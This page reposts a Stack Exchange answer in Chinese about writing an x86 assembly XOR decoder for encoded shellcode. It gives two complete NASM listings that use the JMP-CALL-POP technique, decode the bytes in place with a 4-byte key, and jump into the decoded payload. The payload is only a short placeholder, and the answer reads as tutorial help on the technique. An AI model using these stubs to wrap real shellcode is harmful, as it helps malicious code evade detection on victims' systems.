You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

汇编中多字节密钥XOR(异或)实现技术求助

嘿,你已经找对方向了!用双字(dword)批量异或是非常高效的思路,只是在循环边界处理和长度计算上踩了几个小坑,咱们来把这些问题理顺~

4字节XOR密钥异或解码的汇编实现方案

先聊聊你现有代码的问题

你的核心思路完全没问题,但有几个细节没处理好:

  • slen equ $-EncodedShellcode 你写的时候没完成,这个常量必须准确计算shellcode的总长度
  • 当shellcode长度不是4的整数倍时,直接按dword异或会越界,或者剩余字节处理不完整
  • 原循环里sub ecx,4后,即使ecx小于4,jnz decode还是会继续执行,导致错误操作内存

修正后的完整可运行汇编代码

先给你能直接用的版本,再逐个解释关键细节:

global _start

section .text
_start:
    jmp short call_shellcode  ; 经典JMP-CALL-POP技巧,获取shellcode的内存地址

decoder:
    pop esi                   ; ESI = 编码后shellcode的起始地址
    xor ecx, ecx
    mov cl, slen              ; ECX = shellcode总字节数
    mov edx, 0xefbeadde       ; 4字节密钥0xDEADBEEF的小端序(x86是小端架构,字节要倒序存)

decode_loop:
    ; 先判断剩余长度是否够4字节
    cmp ecx, 4
    jb handle_remaining_bytes ; 不够4字节,跳去处理剩余字节

    ; 批量处理4字节块
    xor dword [esi], edx
    add esi, 4
    sub ecx, 4
    jmp decode_loop

handle_remaining_bytes:
    ; 处理剩余1-3字节,循环使用密钥
    test ecx, ecx
    jz execute_shellcode      ; 没有剩余字节,直接执行

    xor byte [esi], dl        ; DL是当前要使用的密钥字节
    inc esi
    dec ecx
    ror edx, 8                ; 循环右移8位,让密钥的下一个字节到DL
    jmp handle_remaining_bytes

execute_shellcode:
    jmp short EncodedShellcode  ; 跳转到解码后的shellcode执行

call_shellcode:
    call decoder
EncodedShellcode:
    db 0xef,0x6d,0x27,0xbd,0xb6,0x82,0xdd,0x8e  ; 你的编码后shellcode
slen equ $ - EncodedShellcode  ; 正确计算shellcode长度

关键细节拆解

  1. 小端序密钥处理:
    x86是小端字节序,所以你要异或的0xDEADBEEF,在寄存器里必须存成0xEFBEADDE(字节倒序),这样用dword [esi]和EDX异或时,每个字节的对应关系才和你的Python代码完全一致。

  2. 循环边界的严谨性:
    先判断剩余长度是否≥4,够的话批量处理,不够就逐个字节处理,彻底避免内存越界问题。

  3. 剩余字节的循环密钥逻辑:
    用ror edx,8(循环右移8位)实现密钥的循环复用,每次把密钥的下一个字节移到DL寄存器,和你Python代码里循环使用4字节密钥的逻辑完全对齐。

  4. 准确的长度计算:
    slen equ $ - EncodedShellcode 必须放在EncodedShellcode后面,$代表当前汇编地址,这样能精准算出shellcode的总字节数。

适配你Python代码的简化版本

如果你的shellcode长度是4的整数倍(比如例子里的8字节),可以去掉剩余字节处理逻辑,用更简洁的写法:

global _start

section .text
_start:
    jmp short call_shellcode
decoder:
    pop esi
    xor ecx, ecx
    mov cl, slen / 4  ; 循环次数 = 总长度 / 4
    mov edx, 0xefbeadde
decode:
    xor dword [esi], edx
    add esi, 4
    loop decode  ; loop指令自动减ECX,直到ECX=0时跳转
    jmp EncodedShellcode
call_shellcode:
    call decoder
EncodedShellcode:
    db 0xef,0x6d,0x27,0xbd,0xb6,0x82,0xdd,0x8e
slen equ $-EncodedShellcode

这个版本用loop指令替代手动减ECX和判断,更符合汇编的习惯写法。

调试小技巧

用GDB调试时,可以在decode_loop处打断点,用x/4xb esi查看当前要处理的4字节,异或后再检查内存变化,确认是否和Python代码的计算结果一致。


内容的提问来源于stack exchange,提问作者chocripple

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.06 16:42:46